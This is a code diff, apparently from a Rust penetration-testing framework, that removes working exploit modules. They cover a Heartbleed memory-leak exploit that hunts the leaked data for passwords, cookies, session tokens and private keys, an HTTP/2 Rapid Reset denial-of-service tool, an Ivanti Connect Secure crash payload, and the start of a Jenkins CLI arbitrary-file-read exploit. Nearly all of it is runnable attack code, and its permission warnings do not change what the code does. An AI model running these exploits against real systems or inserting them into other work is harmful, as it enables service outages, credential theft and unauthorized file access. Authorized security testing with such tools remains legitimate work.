Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
@@ -1,532 +0,0 @@
//! HTTP/2 Rapid Reset Denial of Service - CVE-2023-44487
//!
//! This module tests for and exploits the HTTP/2 Rapid Reset vulnerability that allows
//! denial of service attacks by rapidly creating and resetting HTTP/2 streams.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2023-44487
//! - **Affected**: Multiple HTTP/2 implementations
//! - **Attack Vector**: Rapid stream creation and reset
//! - **Impact**: Denial of Service (DoS)
//!
//! ## Usage
//! ```bash
//! run exploit http2/cve_2023_44487_http2_rapid_reset <target>
//! ```
//!
//! The module performs:
//! 1. Baseline test with normal HTTP/2 requests
//! 2. Rapid reset attack test
//! 3. Vulnerability analysis based on reset rates
//!
//! ## Security Notes
//! - Proper IPv6 address handling via utils.rs normalize_target
//! - Timeout handling for all network operations
//! - Connection cleanup and resource management
//! - Error handling with context
//!
//! **WARNING**: Only use on systems you own or have permission to test!
//!
//! Original Author: Madhusudhan Rajappa
//! Date: 29th August 2025
//! Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use h2::Reason;
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
use crate::utils::{
normalize_target, prompt_yes_no, prompt_int_range,
};
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability
Tester
WARNING: Only use on systems you own or have
permission to test!
"#
.cyan()
);
}
/// Parse and validate target using utils.rs normalize_target
/// Returns (host, port) tuple with proper IPv6 handling
fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
return Ok((host, port));
} else {
return Ok((host, 443)); // Default HTTPS port
}
}
return Err(anyhow!("Invalid IPv6 format from normalize_target"));
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
Ok((host, port))
} else {
Ok((normalized, 443)) // Default HTTPS port
}
}
/// Normalize IPv6 host with brackets for socket address resolution
fn normalize_host_for_socket(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') && !stripped.starts_with('[') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Create TLS connector with empty root store (accepts self-signed certs)
/// NOTE: Empty root store means no CA certs are trusted by default.
/// For security testing, this is acceptable as we're testing the protocol.
fn create_tls_connector() -> TlsConnector {
use std::sync::Arc;
use tokio_rustls::rustls::ClientConfig;
// Create an empty root store - allows connections but cert validation will fail
// for untrusted certs (which is fine for security testing of HTTP/2)
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
TlsConnector::from(Arc::new(config))
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let connector = create_tls_connector();
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
successful += 1;
}
Err(e) => {
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
successful += 1;
}
Err(e) => {
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let connector = create_tls_connector();
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Print vulnerability analysis based on reset rate
fn print_vulnerability_analysis(reset_rate: f64) {
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse and validate target using utils.rs normalize_target
let (host, default_port) = parse_target(target)?;
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
// Interactive prompts using shared utilities
let port = prompt_int_range("Target port", default_port as i64, 1, 65535).await? as u16;
let use_ssl = prompt_yes_no("Use SSL/TLS?", true).await?;
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000).await? as usize;
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000).await? as u64;
let run_baseline = prompt_yes_no("Run baseline test first?", true).await?;
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", format!("Streams: {}", num_streams).yellow());
println!("{}", format!("Delay: {}ms", delay_ms).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
if !prompt_yes_no("Do you have permission to test this system?", false).await? {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -1,235 +0,0 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::{Context, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use crate::utils::normalize_target;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> Result<reqwest::header::HeaderMap> {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse()
.context("Failed to parse User-Agent header")?);
Ok(headers)
}
fn payload_headers() -> Result<reqwest::header::HeaderMap> {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse()
.context("Failed to parse User-Agent header")?);
headers.insert("X-Forwarded-For", "1".repeat(2048).parse()
.context("Failed to parse X-Forwarded-For header")?);
Ok(headers)
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers()?, 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers()?, 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers()?, 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target)?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
@@ -1,304 +0,0 @@
//! Jenkins 2.441 Local File Inclusion (LFI) Exploit
//!
//! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24
//!
//! This module exploits a local file inclusion vulnerability in Jenkins CLI
//! that allows reading arbitrary files from the Jenkins server filesystem.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2024-23897
//! - **Affected Versions**: Jenkins 2.441 and earlier
//! - **Attack Vector**: CLI command argument injection
//! - **Impact**: Arbitrary file read, potential information disclosure
//!
//! ## Usage
//! ```bash
//! run exploit jenkins/jenkins_2_441_lfi <url> [filepath]
//! ```
//!
//! If no filepath is provided, an interactive mode is started.
//!
//! ## Security Notes
//! - All file paths are validated to prevent path traversal attacks
//! - Input is sanitized to prevent null bytes and excessive length
//! - Proper error handling prevents crashes
//!
//! For authorized penetration testing only.
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::normalize_target;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Result<Self> {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.context("Failed to create HTTP client")?;
Ok(Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
})
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
// Compile regex once and handle errors properly
if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) {
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
return Err(e);
}
loop {
let listening = *self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?;
if !listening {
break;
}
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
